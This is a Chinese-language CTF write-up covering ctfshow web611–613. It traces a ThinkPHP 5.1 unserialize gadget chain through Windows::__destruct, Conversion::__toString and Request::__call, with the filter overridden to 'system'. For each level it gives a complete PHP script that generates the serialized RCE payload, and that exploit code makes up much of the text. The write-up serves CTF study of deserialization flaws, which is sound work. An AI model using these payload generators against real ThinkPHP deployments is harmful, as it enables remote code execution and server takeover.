ctfshow的thinkphp专题(续集一)

之前那篇终于是写完了 ,但是由于原因(上篇文章里),所以来开续集

web611

网上github下载到源码 gayhub上的源码 然后把thinkphp文件夹换到刚才审计非强制路由的源码里面就可以快乐审计了,把application/index/controller/Index.php改成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\index\controller;

class Index
{
public function index()
{

if(isset($_POST['data'])){
@unserialize($_POST['data']);
}
highlight_string(file_get_contents(__FILE__));
}
}

开始审计,首先是最开始thinkphp/library/think/process/pipes/Windows.php__destruct()

1

close()方法什么都没有,但是removeFiles()file_exists($filename)可以触发__toString()

1

thinkphp/library/think/model/concern/Conversion.php的方法才可以用

1

1

触发$this->toArray(),我们要让触发下一个方法,但是看了整个代码,也只有这里是参数可控的,才有可能往外走

1

跟进thinkphp/library/think/model/concern/RelationShip.phpgetRelation,发现恒定返回null值

1

出来之后就还会进入thinkphp/library/think/model/concern/Attribute.phpgetAttr(),然后getData()

1

1

那么得知$this->data[$name]的值就是$relation,并且看到这个类Attributetrait,而不是class

自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。

这些方法我们都要使用,那我们就需要一个类同时继承了Attribute类和Conversion类。在\thinkphp\library\think\Model.php中找到这样一个类Model

1

并且由于不存在visible方法,所以能触发__call,找到thinkphp/library/think/Request.php的可以进行利用

1

array_unshift将当前对象实例$this插入参数数组$args的开头,那就不好直接调函数来RCE了,因为可控参数不够,但是我们可以采取覆盖filter的方法

1

那就可以狠狠调用了,但是值又是不可控的,我们传不进去,找哪里调用了这个函数,开始反向寻找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

input可以调用,继续反向寻找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

还是不可控,继续

1

哇达西,这就是金色传说,就可以从config里面去控制来赋值回去,input$data = $this->getData($data, $name);这里我们要跟进一下,看看

1

会进行一个嵌套赋值,再跟进一下getFilter函数来看看

1

array_walk_recursive($data, [$this, 'filterValue'], $filter);会到filterValue(),主要就是看赋值是怎么来的,filterValue.value的值为第一个通过GET请求的值,而filters.keyGET请求的键,并且filters.filters就等于input.filters的值。

由于Model类是抽象类所以我们只能再找个子类才能实例化,thinkphp/library/think/model/Pivot.php中的Pivot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace think;
abstract class Model{
protected $append=[];
private $data=[];
function __construct(){
$this->append=["a"=>["a","a"]];
$this->data=["a"=>new Request()];
}
}
class Request{
protected $hook=[];
protected $filter=[];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter="system";
$this->config=["var_ajax"=>""];
$this->hook=["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows{
private $files=[];
public function __construct(){
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

web612

发现链子不通了,我们找一条类似的,发现其实就是最后的地方不对了

1

找到一个类似的方法,稍微改一下就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace think;
abstract class Model{
protected $append=[];
private $data=[];
function __construct(){
$this->append=["a"=>["a","a"]];
$this->data=["a"=>new Request()];
}
}
class Request{
protected $hook=[];
protected $filter=[];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter="system";
$this->config=["var_pjax"=>""];
$this->hook=["visible"=>[$this,"isPjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows{
private $files=[];
public function __construct(){
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

web613

我们直接再找一个触发input的方法就可以了

1

这条链子可以打到底了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace think;
abstract class Model{
protected $append=[];
private $data=[];
function __construct(){
$this->append=["a"=>["a","a"]];
$this->data=["a"=>new Request()];
}
}
class Request{
protected $hook=[];
protected $filter=[];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter="system";
$this->config=["var_pjax"=>""];
$this->hook=["visible"=>[$this,"request"]];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files=[];
public function __construct(){
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

小结

好难啊,真的好难,但是还是坚持下来了,我的待审是一坨,上次SUCTF的短的Cakephp给我打出自信来了